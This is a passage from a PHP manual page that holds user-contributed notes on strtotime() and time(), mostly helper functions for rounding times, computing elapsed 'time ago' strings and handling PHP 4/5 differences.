//EG: ceilTime("15 Minutes"); rounds the time right now to the next 15 minutes 11:12 rounds to 11:15
function ceilTime($increment, $timestamp=0)
{
    if(!$timestamp) $timestamp = time();

    $increment = strtotime($increment, 1) - 1;
    $this_hour = strtotime(date("Y-m-d H:", strtotime("-1 Hour", $timestamp))."00:00");
    $next_hour = strtotime(date("Y-m-d H:", strtotime("+1 Hour", $timestamp))."00:00");

    $increments = array();
    $differences = array();

    for($i = $this_hour; $i <= $next_hour; $i += $increment)
    {
        if($i > $timestamp) return $i;
    }
}

//RSS: 10/06/08 rounds a timestamp to the last specified increment
//only works for increments less than or equal to 1 hour
//EG: floorTime("15 Minutes"); rounds the time right now to the last 15 minutes 11:12 rounds to 11:00
function floorTime($increment, $timestamp=0)
{
    if(!$timestamp) $timestamp = time();

    $increment = strtotime($increment, 1) - 1;
    $this_hour = strtotime(date("Y-m-d H:", strtotime("-1 Hour", $timestamp))."00:00");
    $next_hour = strtotime(date("Y-m-d H:", strtotime("+1 Hour", $timestamp))."00:00");

    $increments = array();
    $differences = array();

    for($i = $next_hour; $i >= $this_hour; $i -= $increment)
    {
        if($i < $timestamp) return $i;
    }
}

?>
andrew dot myers at civicwifi dot com 05-Dec-2007 07:42
Here is a list of differences between PHP 4 and PHP 5 that I have found
(specifically PHP 4.4.2 and PHP 5.2.3).

<?php

$ts_from_nothing = strtotime();
var_dump($ts_from_nothing);
// PHP 5
//    bool(false)
//    WARNING: Wrong parameter count...
// PHP 4
//    NULL
//    WARNING: Wrong parameter count...

// remember that unassigned variables evaluate to NULL
$ts_from_null = strtotime($null);
var_dump($ts_from_null)...
// PHP 5
//    bool(false)
//    throws a NOTICE: Undefined variable
// PHP 4
//    current time
//    NOTICE: Undefined variable $null...
//    NOTICE: Called with empty time parameter...

$ts_from_empty = strtotime("");
var_dump($ts_from_empty);
// PHP 5
//    bool(false)
// PHP 4
//    current time
//    NOTICE: Called with empty time parameter

$ts_from_bogus = strtotime("not a date");
var_dump($ts_from_bogus);
// PHP 5
//    bool(false)
// PHP 4
//    -1

?>
Beat 01-Oct-2007 10:36
Some surprisingly wrong results (php 5.2.0): date and time seem not coherent:

<?php
// Date: Default timezone     Europe/Berlin   (which is CET)
// date.timezone    no value
$basedate = strtotime("31 Dec 2007 23:59:59");
$date1 = strtotime("-3 months", $basedate);
echo date("j M Y H:i:s", $date1);  // 1 Oct 2007 23:59:59 WRONG

$basedate = strtotime("31 Dec 2007 23:59:59 CET");
$date1 = strtotime("-3 months", $basedate);
echo date("j M Y H:i:s", $date1);  // 1 Oct 2007 23:59:59 WRONG

$basedate = strtotime("31 Dec 2007 23:59:59 GMT");
$date1 = strtotime("-3 months", $basedate);
echo date("j M Y H:i:s", $date1);  // 1 Oct 2007 00:59:59 CORRECT

$basedate = strtotime("31 Dec 2007 22:59:59 GMT");
$date1 = strtotime("-3 months", $basedate);
echo date("j M Y H:i:s", $date1);  // 1 Oct 2007 23:59:59 WRONG AGAIN

$basedate = strtotime("31 Dec 2007 00:00:00 GMT");
$date1 = strtotime("-3 months", $basedate);
echo date("j M Y H:i:s", $date1);  // 1 Oct 2007 01:00:00 CORRECT

$basedate = strtotime("31 Dec 2007 00:00:00 CET");
$date1 = strtotime("-3 months", $basedate);
echo date("j M Y H:i:s", $date1);  // 1 Oct 2007 00:00:00 WRONG AGAIN

$basedate = strtotime("31 Dec 2007 00:00:01");
$date1 = strtotime("-3 months", $basedate);
echo date("j M Y H:i:s", $date1);  // 1 Oct 2007 00:00:01 WRONG AGAIN

?>

Here the workaround using mktime() properties on dates instead of strtotime(), and which seems to give correct results:

<?php
// check for equivalency
$basedate = strtotime("31 Dec 2007 23:59:59");
$timedate = mktime( 23, 59, 59, 1, 0, 2008 );
echo "$basedate $timedate ";         // 1199141999 1199141999 : SO THEY ARE EQUIVALENT

// workaround, as mktime knows to handle properly offseted dates:
$date1 = mktime( 23, 59, 59, 1 - 3, 0, 2008 );
echo date("j M Y H:i:s", $date1);  // 30 Sep 2007 23:59:59 CORRECT

?>
Bandit 07-Nov-2006 02:06
So I wanted a little function to output an easy to read but inaccurate date. I came up with the following (probably very inefficient) little function;

<?php
    function ezDate($d) {
        $ts = time() - strtotime(str_replace("-","/",$d));

        if($ts>31536000) $val = round($ts/31536000,0).' year';
        else if($ts>2419200) $val = round($ts/2419200,0).' month';
        else if($ts>604800) $val = round($ts/604800,0).' week';
        else if($ts>86400) $val = round($ts/86400,0).' day';
        else if($ts>3600) $val = round($ts/3600,0).' hour';
        else if($ts>60) $val = round($ts/60,0).' minute';
        else $val = $ts.' second';

        if($val>1) $val .= 's';
        return $val;
    }
?>

Then I use it as follows;

<?php
    echo ucwords(ezDate('2006-09-07 18:42:00')).' Ago';
?>

Which would output;

    2 Months Ago

I add an acronym tag around the output also, so my users can mouse-over for the exact date.

Hope it helps someone!
sgutauckis 05-Oct-2006 09:02
The following might produce something different than you might expect:
<?php
    echo date('l, F jS Y', strtotime("third wednesday", strtotime("2006-11-01"))) . "<br>";
    echo date('l, F jS Y', strtotime("third sunday", strtotime("2006-01-01")));
?>
Produces:
Wednesday, November 22nd 2006
Sunday, January 22nd 2006

The problem stems from strtotime when the requested day falls on the date passed to strtotime. If you look at your calendar you will see that they should return:

Wednesday, November 15th 2006
Sunday, January 15th 2006

Because the date falls on the day requested it skips that day.
shaver at qspeed dot com 11-Jan-2006 05:13
I'm posting these here as I believe these to be design changes, not bugs.

For those upgrading from PHP 4 to PHP 5 there are a number of things that are different about strtotime that I have NOT seen documented elsewhere, or at least not as clearly. I confirmed these with two separate fresh installations of PHP 4.4.1 and PHP 5.1.1.

1) Given that today is Tuesday: PHP4 "next tuesday" will return today. PHP5 "next tuesday" will actually return next tuesday as in "today +1week". Note that behavior has NOT changed for "last" and "this". For the string "last tuesday" both PHP4 and PHP5 would return "today -1week".  For the string "this tuesday" both PHP4 and PHP5 would return "today".

2) You cannot include a space immediately following a + or - in PHP 5. In PHP4 the string "today + 1 week" works great. in PHP5 the string must be "today +1 week" to correctly parse.

3) (Partially noted in changelog.) If you pass php4 a string that is a mess ("asdf1234") it will return -1. If you in turn pass this to date() you'll get a warning like: Windows does not support dates prior to midnight. This is pretty useful for catching errors in your scripts. In PHP 5 strtotime will return FALSE which causes date() to return 12/31/69. Note that this is true of strings that might appear right such as "two weeks".

4) (Partially noted in changelog.) If you pass php4 an empty string it will error out with a "Notice: strtotime(): Called with empty time parameter". PHP5 will give no notice and return the current date stamp. (A much preferred behavior IMO.)

5) Some uppercase and mixed-case strings no longer parse correctly. In php4 "Yesterday" would parse correctly. In php5 "Yesterday" will return the infamous 1969 date. This is also true of Tomorrow and Today. [Red. This has been fixed in PHP already]

6. The keyword "previous" is supported in PHP5. (Finally!)

Good luck with your upgrades. :)
 -Will
miamiseb at nospam_gmail dot com 22-Apr-2005 06:59
If you strtotime the epoch (Jan 1 1970 00:00:00) you will usually get a value, rather than the expected 0. So for example, if you were to try to use the epoch to calculate the difference in times (strtotime(Jan 1 1970 21:00:00)-strtotime(Jan 1 1970 20:00:00) for example) You get a value that depends strongly upon your timezone. If you are in EST for example, the epoch is actually shifted -5 to YOUR epoch is Jan 1 1970 19:00:00) In order to get the offset, simply use the following call to report the number of seconds you are away from the unix epoch. $offset=strtotime("1970-01-01 00:00:00"); Additionally, you can append GMT at the end of your strtotime calls so save yourself the trouble of converting relative to timezone.
cryogen at mac dot com 06-Apr-2004 08:39
Append the string "GMT" to all of your datetimes pulled from MySQL or other database that store date-times in the format "yyyy-mm-dd hh:ii:ss" just prior to converting them to a unix timestamp with strtotime().  This will ensure you get a valid GMT result for times during daylight savings.

EXAMPLE:
<?php
$date_time1 = strtotime("2004-04-04 02:00:00"); // returns bad value -1 due to DST
$date_time2 = strtotime("2004-04-04 02:00:00 GMT"); // works great!
?>
kyle at frozenonline dot com 02-Jan-2004 12:24
I was having trouble parsing Apache log files that consisted of a time entry (denoted by %t for Apache configuration). An example Apache-date looks like: [21/Dec/2003:00:52:39 -0500]

Apache claims this to be a 'standard english format' time. strtotime() feels otherwise.

I came up with this function to assist in parsing this peculiar format.

<?php
function from_apachedate($date)
{
        list($d, $M, $y, $h, $m, $s, $z) = sscanf($date, "[%2d/%3s/%4d:%2d:%2d:%2d %5s]");
        return strtotime("$d $M $y $h:$m:$s $z");
}
?>

Hope it helps anyone else seeking such a conversion.


Return current Unix timestamp

  • « strtotime
  • timezone_abbreviations_list »
  • PHP Manual
  • Date/Time Functions
  • Return current Unix timestamp

time

(PHP 4, PHP 5)

time — Return current Unix timestamp

Description

int time ( void )

Returns the current time measured in the number of seconds since the Unix Epoch (January 1 1970 00:00:00 GMT).

Examples

Example #1 time() example

<?php
$nextWeek = time() + (7 * 24 * 60 * 60);
                   // 7 days; 24 hours; 60 mins; 60 secs
echo 'Now:       '. date('Y-m-d') ."\n";
echo 'Next Week: '. date('Y-m-d', $nextWeek) ."\n";
// or using strtotime():
echo 'Next Week: '. date('Y-m-d', strtotime('+1 week')) ."\n";
?>

The above example will output something similar to:

Now:       2005-03-30
Next Week: 2005-04-06
Next Week: 2005-04-06

Notes

Tip

Timestamp of the start of the request is available in $_SERVER['REQUEST_TIME'] since PHP 5.1.

See Also

  • date() - Format a local time/date
  • microtime() - Return current Unix timestamp with microseconds

User Contributed Notes

hoangvu4000 at gmail dot com 11-Apr-2014 02:53
//Calculate number of hours between pass and now
$dayinpass = "2013-06-23 05:09:12";
$today = time();
$dayinpass= strtotime($dayinpass);
echo round(abs($today-$dayinpass)/60/60);

//Calculate number of days between pass and now
$dayinpass = "2013-06-23 05:09:12";
$today = time();
$dayinpass= strtotime($dayinpass);
echo round(abs($today-$dayinpass)/60/60/24);
jnostuh at gmail dot com 18-Oct-2013 10:52
I built this function to get the strtotime numbers for the beginning and ending of the month and return them as arrays in an object.  Cheers.

        //Returns values in the format of strtotime for evaluating purposes!
        function returnDateFirstAndLast($numberOfMonths) {
            $time=time();
            $lastdayofcurrentmonth=strtotime('+1 month -1 day',strtotime(date('Y-m-1 24:59:59',$time)));
            $values=new stdClass();

            for ( $i = 0;$i < $numberOfMonths;$i++ ) {
                $time=time();
                $firstdayofmonth=strtotime('-'.$i.' month',strtotime(date('Y-m-1 00:00:00',$time)));
                $lastdayofmonth=strtotime('-'.($i - 1).' month -1 day',strtotime(date('Y-m-1 24:59:59',$time)));
                $first[$i]=$firstdayofmonth;
                if ( $i == 0 ) {
                    $last[$i]=$lastdayofcurrentmonth;
                } else {
                    $last[$i]=$lastdayofmonth;
                }
            }
            $values->first=$first;
            $values->last=$last;

            return $values;
        }
Anonymous 15-May-2013 04:46
The documentation says 'Return current Unix timestamp'. The definition itself of the unix time shows that it is independent of the timezone so it is obvious that this function will return the same value for the different timezones.
w dot scholtyssek at netdivision dot eu 26-Apr-2013 08:47
public static function daysBetween($date_1, $date_2) {
        $one_day = 1000 * 60 * 60 * 24;
        return round(abs(time($date_2) - time($date_1)) / $one_day);
    }
siegfried at anggit dot com 25-Jul-2012 08:03
elapsed time function with precision:

<?php

function elapsed_time($timestamp, $precision = 2) {
  $time = time() - $timestamp;
  $a = array('decade' => 315576000, 'year' => 31557600, 'month' => 2629800, 'week' => 604800, 'day' => 86400, 'hour' => 3600, 'min' => 60, 'sec' => 1);
  $i = 0;
    foreach($a as $k => $v) {
      $$k = floor($time/$v);
      if ($$k) $i++;
      $time = $i >= $precision ? 0 : $time - $$k * $v;
      $s = $$k > 1 ? 's' : '';
      $$k = $$k ? $$k.' '.$k.$s.' ' : '';
      @$result .= $$k;
    }
  return $result ? $result.'ago' : '1 sec to go';
}

echo elapsed_time('1234567890').'<br />'; // 3 years 5 months ago
echo elapsed_time('1234567890', 6); // 3 years 5 months 1 week 2 days 57 mins 4 secs ago

?>
xzxxxx7 at gmail dot com 13-Jun-2012 05:25
hebrew time Ago function by xzxxx7
<?php
function he_timeAgo( $a ){
    $b = time() - $a;
    $c = array( 12 * 30 * 24 * 60 * 60, 30 * 24 * 60 * 60, 7 * 24 * 60 * 60, 24 * 60 * 60, 60 * 60, 60 );
    $d = array( "שנה", "חודש", "שבוע", "יום", "שעה", "דקה" );
    $e = array( "שנים", "חודשים", "שבועות", "ימים", "שעות", "דקות" );

    if( $b < 60 ) return "פחות מדקה";
    for( $f=0; ( $h = $b/$c[$f] ) <= 1 && $f < 5; $f++);
    return ( floor($h) > 1 ) ? sprintf( "%d %s", $h, $e[$f] ) : $d[$f];
}
?>
<!doctype html>
<html lang="he_IL" dir="rtl">
<head>
    <title>[PHP] he_timeAgo function</title>
    <meta charset="utf-8">
    <meta name="author" content="xzxxx7">
</head>
<body>
    פורסם לפני <?php echo he_timeAgo(1111111111);?>
</body>
</html>
salladin 09-May-2012 06:59
Two quick approaches to getting the time elapsed in human readable form.

<?php

function time_elapsed_A($secs){
    $bit = array(
        'y' => $secs / 31556926 % 12,
        'w' => $secs / 604800 % 52,
        'd' => $secs / 86400 % 7,
        'h' => $secs / 3600 % 24,
        'm' => $secs / 60 % 60,
        's' => $secs % 60
        );

    foreach($bit as $k => $v)
        if($v > 0)$ret[] = $v . $k;

    return join(' ', $ret);
    }

function time_elapsed_B($secs){
    $bit = array(
        ' year'        => $secs / 31556926 % 12,
        ' week'        => $secs / 604800 % 52,
        ' day'        => $secs / 86400 % 7,
        ' hour'        => $secs / 3600 % 24,
        ' minute'    => $secs / 60 % 60,
        ' second'    => $secs % 60
        );

    foreach($bit as $k => $v){
        if($v > 1)$ret[] = $v . $k . 's';
        if($v == 1)$ret[] = $v . $k;
        }
    array_splice($ret, count($ret)-1, 0, 'and');
    $ret[] = 'ago.';

    return join(' ', $ret);
    }

$nowtime = time();
$oldtime = 1335939007;

echo "time_elapsed_A: ".time_elapsed_A($nowtime-$oldtime)."\n";
echo "time_elapsed_B: ".time_elapsed_B($nowtime-$oldtime)."\n";

/** Output:
time_elapsed_A: 6d 15h 48m 19s
time_elapsed_B: 6 days 15 hours 48 minutes and 19 seconds ago.
**/
?>
tav 06-Jan-2012 01:06
Calculates the difference between $start and $s, returns a formatted string Xd Yh Zm As, e.g. 15d 23h 54m 31s. Empty sections will be stripped, returning 12d 4s, not 12d 0h 0m 4s.

Argument order (begin date, end date) doesn't matter.

<?php

function time_diff_conv($start, $s) {
    $t = array( //suffixes
        'd' => 86400,
        'h' => 3600,
        'm' => 60,
    );
    $s = abs($s - $start);
    foreach($t as $key => &$val) {
        $$key = floor($s/$val);
        $s -= ($$key*$val);
        $string .= ($$key==0) ? '' : $$key . "$key ";
    }
    return $string . $s. 's';
}

?>
instantcarma2000 at yahoo dot se 14-Oct-2011 11:54
This is a very basic and simple function to display either min -OR- hrs and min -OR- days and hrs -OR- days depending on how many seconds are given.

Example use:

<?php
$td = time_diff($timestamp1-$timestamp2); // has to be a positive result
$td .= ($td=="now")? "":" ago"; // in this example "ago"
echo $td;

function time_diff($s){
    $m=0;$hr=0;$d=0;$td="now";
    if($s>59) {
        $m = (int)($s/60);
        $s = $s-($m*60); // sec left over
        $td = "$m min";
    }
    if($m>59){
        $hr = (int)($m/60);
        $m = $m-($hr*60); // min left over
        $td = "$hr hr"; if($hr>1) $td .= "s";
        if($m>0) $td .= ", $m min";
    }
    if($hr>23){
        $d = (int)($hr/24);
        $hr = $hr-($d*24); // hr left over
        $td = "$d day"; if($d>1) $td .= "s";
        if($d<3){
            if($hr>0) $td .= ", $hr hr"; if($hr>1) $td .= "s";
        }
    }
    return $td;
}
?>
dev dot ivangc at gmail dot com 05-Aug-2011 12:05
Here a class extension to get the a datetime in the "X time ago" format easily.

<?php
class Cokidoo_DateTime extends DateTime {

    protected $strings = array(
        'y' => array('1 year ago', '%d years ago'),
        'm' => array('1 month ago', '%d months ago'),
        'd' => array('1 day ago', '%d days ago'),
        'h' => array('1 hour ago', '%d hours ago'),
        'i' => array('1 minute ago', '%d minutes ago'),
        's' => array('now', '%d secons ago'),
    );

    /**
     * Returns the difference from the current time in the format X time ago
     * @return string
     */
    public function __toString() {
        $now = new DateTime('now');
        $diff = $this->diff($now);

        foreach($this->strings as $key => $value){
            if( ($text = $this->getDiffText($key, $diff)) ){
                return $text;
            }
        }
        return '';
    }

    /**
     * Try to construct the time diff text with the specified interval key
     * @param string $intervalKey A value of: [y,m,d,h,i,s]
     * @param DateInterval $diff
     * @return string|null
     */
    protected function getDiffText($intervalKey, $diff){
        $pluralKey = 1;
        $value = $diff->$intervalKey;
        if($value > 0){
            if($value < 2){
                $pluralKey = 0;
            }
            return sprintf($this->strings[$intervalKey][$pluralKey], $value);
        }
        return null;
    }
}
?>

How to use:
<?php
$date = new Cokidoo_Datetime('2011-01-01');
echo $date;
?>
residualenvy at gmail dot com 12-Mar-2011 12:34
My take on a function to find the differences between a timestamp and current time.

Format: findTime($sometime['stamp'], '%d Days, %h Hours, %m Minutes');

Always use plural it will auto correct on singular results.  You don't have to include all %d,%m,%h you may include only one.  To get Total Hours remaining(including days) use %ho.  To get Total Minutes remaining(including hours and days) use %mo.  Take a look at the format I assumed to make any changes.

<?php
function findTime($timestamp, $format) {
        $difference = $timestamp - time();
        if($difference < 0)
            return false;
        else{

            $min_only = intval(floor($difference / 60));
            $hour_only = intval(floor($difference / 3600));

            $days = intval(floor($difference / 86400));
            $difference = $difference % 86400;
            $hours = intval(floor($difference / 3600));
            $difference = $difference % 3600;
            $minutes = intval(floor($difference / 60));
            if($minutes == 60){
                $hours = $hours+1;
                $minutes = 0;
            }

            if($days == 0){
                $format = str_replace('Days', '?', $format);
                $format = str_replace('Ds', '?', $format);
                $format = str_replace('%d', '', $format);
            }
            if($hours == 0){
                $format = str_replace('Hours', '?', $format);
                $format = str_replace('Hs', '?', $format);
                $format = str_replace('%h', '', $format);
            }
            if($minutes == 0){
                $format = str_replace('Minutes', '?', $format);
                $format = str_replace('Mins', '?', $format);
                $format = str_replace('Ms', '?', $format);
                $format = str_replace('%m', '', $format);
            }

            $format = str_replace('?,', '', $format);
            $format = str_replace('?:', '', $format);
            $format = str_replace('?', '', $format);

            $timeLeft = str_replace('%d', number_format($days), $format);
            $timeLeft = str_replace('%ho', number_format($hour_only), $timeLeft);
            $timeLeft = str_replace('%mo', number_format($min_only), $timeLeft);
            $timeLeft = str_replace('%h', number_format($hours), $timeLeft);
            $timeLeft = str_replace('%m', number_format($minutes), $timeLeft);

            if($days == 1){
                $timeLeft = str_replace('Days', 'Day', $timeLeft);
                $timeLeft = str_replace('Ds', 'D', $timeLeft);
            }
            if($hours == 1 || $hour_only == 1){
                $timeLeft = str_replace('Hours', 'Hour', $timeLeft);
                $timeLeft = str_replace('Hs', 'H', $timeLeft);
            }
            if($minutes == 1 || $min_only == 1){
                $timeLeft = str_replace('Minutes', 'Minute', $timeLeft);
                $timeLeft = str_replace('Mins', 'Min', $timeLeft);
                $timeLeft = str_replace('Ms', 'M', $timeLeft);
            }

          return $timeLeft;
        }
    }
?>
php/hotblocks/nl 25-Feb-2011 11:40
The easiest way to get the gmtime is to use gmdate():

<?php
$gmtime = (int)gmdate('U');
?>
Yi 23-Feb-2011 05:29
A method return GMT time (gmttime):

<?php
$gmtimenow = time() - (int)substr(date('O'),0,3)*60*60;
echo $gmtimenow . "\n";
?>

it convert current time to GMT based on time zone offset.

by frank.
karls_post at hotmail dot com 23-Jan-2011 12:44
To accurately calculate the difference between the current time and a time in the future I use the following.

<?php
function time_difference($endtime){
    $days= (date("j",$endtime)-1);
    $months =(date("n",$endtime)-1);
    $years =(date("Y",$endtime)-1970);
    $hours =date("G",$endtime);
    $mins =date("i",$endtime);
    $secs =date("s",$endtime);
    $diff="'day': ".$days.",'month': ".$months.",'year': ".$years.",'hour': ".$hours.",'min': ".$mins.",'sec': ".$secs;
    return $diff;
}
$end_time = $future_date - time();
$difference = time_difference($end_time);
echo $difference;

//sample output
'day': 2,'month': 1,'year': 0,'hour': 2,'min': 05,'sec': 41

?>
Timo K 02-Oct-2010 02:49
The documentation should have this info. The function time() returns always timestamp that is timezone independent (=UTC).

<?php
date_default_timezone_set("UTC");
echo "UTC:".time();
echo "<br>";

date_default_timezone_set("Europe/Helsinki");
echo "Europe/Helsinki:".time();
echo "<br>";
?>

Local time as string can be get by strftime() and local timestamp (if ever needed) by mktime().
johan dot lindskog at humlab dot umu dot se 26-Aug-2010 03:35
I needed to convert between Unix timestamps and Windows/AD timestamps, so I wrote a pair of simple functions for it.

<?php
function unix_time_to_win_time($unix_time) {
  //add the seconds between 1601-01-01 and 1970-01-01 and make it 100-nanosecond precision
  $win_time = ($unix_time + 11644477200) * 10000000;
  return $win_time;
}

function win_time_to_unix_time($win_time) {
  //round the win timestamp down to seconds and remove the seconds between 1601-01-01 and 1970-01-01
  $unix_time = round($win_time / 10000000) - 11644477200;
  return $unix_time;
}
?>
John Galt 15-Aug-2010 12:46
This is another function to calculate the difference between two times and output it in a relative format. This one, however, combines various units. In other words, it will return "3 days, 2 hours, 6 minutes, and 2 seconds ago" instead of "3 days ago."

Please bear in mind that it is intended for times that are very close together. It will not be accurate for calculating dates more than a month apart. This is because one of the units it relies on is "weeks," which do not correspond directly with months. What I'm trying to get across is, the program assumes that a month is precisely 4 weeks long, i.e. 28 days. This also means that a "year" according to this function is 336 days.

<?php
 function rel_time($from, $to = null)
 {
  $to = (($to === null) ? (time()) : ($to));
  $to = ((is_int($to)) ? ($to) : (strtotime($to)));
  $from = ((is_int($from)) ? ($from) : (strtotime($from)));

  $units = array
  (
   "year"   => 29030400, // seconds in a year   (12 months)
   "month"  => 2419200,  // seconds in a month  (4 weeks)
   "week"   => 604800,   // seconds in a week   (7 days)
   "day"    => 86400,    // seconds in a day    (24 hours)
   "hour"   => 3600,     // seconds in an hour  (60 minutes)
   "minute" => 60,       // seconds in a minute (60 seconds)
   "second" => 1         // 1 second
  );

  $diff = abs($from - $to);
  $suffix = (($from > $to) ? ("from now") : ("ago"));

  foreach($units as $unit => $mult)
   if($diff >= $mult)
   {
    $and = (($mult != 1) ? ("") : ("and "));
    $output .= ", ".$and.intval($diff / $mult)." ".$unit.((intval($diff / $mult) == 1) ? ("") : ("s"));
    $diff -= intval($diff / $mult) * $mult;
   }
  $output .= " ".$suffix;
  $output = substr($output, strlen(", "));

  return $output;
 }
?>

The function rel_time() accepts two parameters: $from and $to. For best results, provide them as UNIX timestamps (derived from PHP's time() function). They also accept formats supported by strtotime(). $to is an optional argument and defaults to the current time.

The function will calculate the difference between $from and $to. If $from occurs after $to, the function will substitue "ago" with "from now."

Example usage:
<?php
 echo rel_time("September 2, 2010 4:20 PM");
 // returns "2 weeks, 4 days, 23 hours, 25 minutes, and 3 seconds from now"
?>
nickr at visuality dot com 08-Feb-2010 10:54
Here is a version for the difference code that displays "ago" code.

It does use some precision after the time difference is longer than a day. ( ie days are more than 60 * 60 * 24 hours long )

<?php

    function ago($datefrom,$dateto=-1)
    {
        // Defaults and assume if 0 is passed in that
        // its an error rather than the epoch

        if($datefrom==0) { return "A long time ago"; }
        if($dateto==-1) { $dateto = time(); }

        // Make the entered date into Unix timestamp from MySQL datetime field

        $datefrom = strtotime($datefrom);

        // Calculate the difference in seconds betweeen
        // the two timestamps

        $difference = $dateto - $datefrom;

        // Based on the interval, determine the
        // number of units between the two dates
        // From this point on, you would be hard
        // pushed telling the difference between
        // this function and DateDiff. If the $datediff
        // returned is 1, be sure to return the singular
        // of the unit, e.g. 'day' rather 'days'

        switch(true)
        {
            // If difference is less than 60 seconds,
            // seconds is a good interval of choice
            case(strtotime('-1 min', $dateto) < $datefrom):
                $datediff = $difference;
                $res = ($datediff==1) ? $datediff.' second ago' : $datediff.' seconds ago';
                break;
            // If difference is between 60 seconds and
            // 60 minutes, minutes is a good interval
            case(strtotime('-1 hour', $dateto) < $datefrom):
                $datediff = floor($difference / 60);
                $res = ($datediff==1) ? $datediff.' minute ago' : $datediff.' minutes ago';
                break;
            // If difference is between 1 hour and 24 hours
            // hours is a good interval
            case(strtotime('-1 day', $dateto) < $datefrom):
                $datediff = floor($difference / 60 / 60);
                $res = ($datediff==1) ? $datediff.' hour ago' : $datediff.' hours ago';
                break;
            // If difference is between 1 day and 7 days
            // days is a good interval
            case(strtotime('-1 week', $dateto) < $datefrom):
                $day_difference = 1;
                while (strtotime('-'.$day_difference.' day', $dateto) >= $datefrom)
                {
                    $day_difference++;
                }

                $datediff = $day_difference;
                $res = ($datediff==1) ? 'yesterday' : $datediff.' days ago';
                break;
            // If difference is between 1 week and 30 days
            // weeks is a good interval
            case(strtotime('-1 month', $dateto) < $datefrom):
                $week_difference = 1;
                while (strtotime('-'.$week_difference.' week', $dateto) >= $datefrom)
                {
                    $week_difference++;
                }

                $datediff = $week_difference;
                $res = ($datediff==1) ? 'last week' : $datediff.' weeks ago';
                break;
            // If difference is between 30 days and 365 days
            // months is a good interval, again, the same thing
            // applies, if the 29th February happens to exist
            // between your 2 dates, the function will return
            // the 'incorrect' value for a day
            case(strtotime('-1 year', $dateto) < $datefrom):
                $months_difference = 1;
                while (strtotime('-'.$months_difference.' month', $dateto) >= $datefrom)
                {
                    $months_difference++;
                }

                $datediff = $months_difference;
                $res = ($datediff==1) ? $datediff.' month ago' : $datediff.' months ago';

                break;
            // If difference is greater than or equal to 365
            // days, return year. This will be incorrect if
            // for example, you call the function on the 28th April
            // 2008 passing in 29th April 2007. It will return
            // 1 year ago when in actual fact (yawn!) not quite
            // a year has gone by
            case(strtotime('-1 year', $dateto) >= $datefrom):
                $year_difference = 1;
                while (strtotime('-'.$year_difference.' year', $dateto) >= $datefrom)
                {
                    $year_difference++;
                }

                $datediff = $year_difference;
                $res = ($datediff==1) ? $datediff.' year ago' : $datediff.' years ago';
                break;

        }
        return $res;

?>
yasmary at gmail dot com 06-Mar-2009 09:48
A time difference function that outputs the time passed in facebook's style: 1 day ago, or 4 months ago. I took andrew dot macrobert at gmail dot com function and tweaked it a bit. On a strict enviroment it was throwing errors, plus I needed it to calculate the difference in time between a past date and a future date.

<?php
function nicetime($date)
{
    if(empty($date)) {
        return "No date provided";
    }

    $periods         = array("second", "minute", "hour", "day", "week", "month", "year", "decade");
    $lengths         = array("60","60","24","7","4.35","12","10");

    $now             = time();
    $unix_date         = strtotime($date);

       // check validity of date
    if(empty($unix_date)) {
        return "Bad date";
    }

    // is it future date or past date
    if($now > $unix_date) {
        $difference     = $now - $unix_date;
        $tense         = "ago";

    } else {
        $difference     = $unix_date - $now;
        $tense         = "from now";
    }

    for($j = 0; $difference >= $lengths[$j] && $j < count($lengths)-1; $j++) {
        $difference /= $lengths[$j];
    }

    $difference = round($difference);

    if($difference != 1) {
        $periods[$j].= "s";
    }

    return "$difference $periods[$j] {$tense}";
}

$date = "2009-03-04 17:45";
$result = nicetime($date); // 2 days ago

?>
anon 27-Jan-2009 02:16
Below, a function to create TNG-style stardates, taking 2009 to start stardate 41000.0.  In fact, the offset is trivial to adjust if you wish to begin from a different date.

<?php
function getStardate(void)
{
  $offset = 2000;
  $seconds_per_stardate = 31449.6; // is the number of seconds in a year divided by 1000, for hopefully obvious reasons
  return time() / $seconds_per_stardate + $offset;
}
?>

Other series use less reliable stardate formats, which makes it difficult [read: nigh impossible] to create a function that converts a unix timestamp into a stardate.
Anonymous 02-Sep-2008 02:30
A cleaner example (half the comparisons) of distanceOfTimeInWords() function below:

<?php
public static function distanceOfTimeInWords($fromTime, $toTime = 0, $showLessThanAMinute = false) {
    $distanceInSeconds = round(abs($toTime - $fromTime));
    $distanceInMinutes = round($distanceInSeconds / 60);

        if ( $distanceInMinutes <= 1 ) {
            if ( !$showLessThanAMinute ) {
                return ($distanceInMinutes == 0) ? 'less than a minute' : '1 minute';
            } else {
                if ( $distanceInSeconds < 5 ) {
                    return 'less than 5 seconds';
                }
                if ( $distanceInSeconds < 10 ) {
                    return 'less than 10 seconds';
                }
                if ( $distanceInSeconds < 20 ) {
                    return 'less than 20 seconds';
                }
                if ( $distanceInSeconds < 40 ) {
                    return 'about half a minute';
                }
                if ( $distanceInSeconds < 60 ) {
                    return 'less than a minute';
                }

                return '1 minute';
            }
        }
        if ( $distanceInMinutes < 45 ) {
            return $distanceInMinutes . ' minutes';
        }
        if ( $distanceInMinutes < 90 ) {
            return 'about 1 hour';
        }
        if ( $distanceInMinutes < 1440 ) {
            return 'about ' . round(floatval($distanceInMinutes) / 60.0) . ' hours';
        }
        if ( $distanceInMinutes < 2880 ) {
            return '1 day';
        }
        if ( $distanceInMinutes < 43200 ) {
            return 'about ' . round(floatval($distanceInMinutes) / 1440) . ' days';
        }
        if ( $distanceInMinutes < 86400 ) {
            return 'about 1 month';
        }
        if ( $distanceInMinutes < 525600 ) {
            return round(floatval($distanceInMinutes) / 43200) . ' months';
        }
        if ( $distanceInMinutes < 1051199 ) {
            return 'about 1 year';
        }

        return 'over ' . round(floatval($distanceInMinutes) / 525600) . ' years';
}
?>
Josh Abraham 28-Sep-2007 04:43
When dealing with the results of the time function, taking the modulus (remainder) is often a good way to find recurring information such as day of the week, week of the year, or month of the year. In the example given below of a firefighter's shift, you could do the following to simplify the code.

<?php

function whatShift() {

  $referencePoint = mktime(7, 0, 0, 9, 11, 2004);   // Sept 11, 2004 at 7AM started an A Shift.

  //This is the where we divide the current time since reference by the amount of time in all shifts
  //The result of this is the remainder.
  $sinceReference = (time() - $referencePoint) % (60 * 60 * 24 * 3);

  //The rest of the code can be basically the same so I shortened it here.
  if ($sinceReference < 60 * 60 * 25)  $shift = "A";
  elseif ($sinceReference < 60 * 60 * 49)  $shift = "B";
  else $shift = "C";

  return $shift;

}

?>
by225 at yahoo dot com 06-Sep-2007 09:32
A function for converting to Unix time without using the MySQL UNIX_TIMESTAMP function in a query (MySQL allows eight different formats for timestamps):

<?php
function UnixTime($mysql_timestamp){
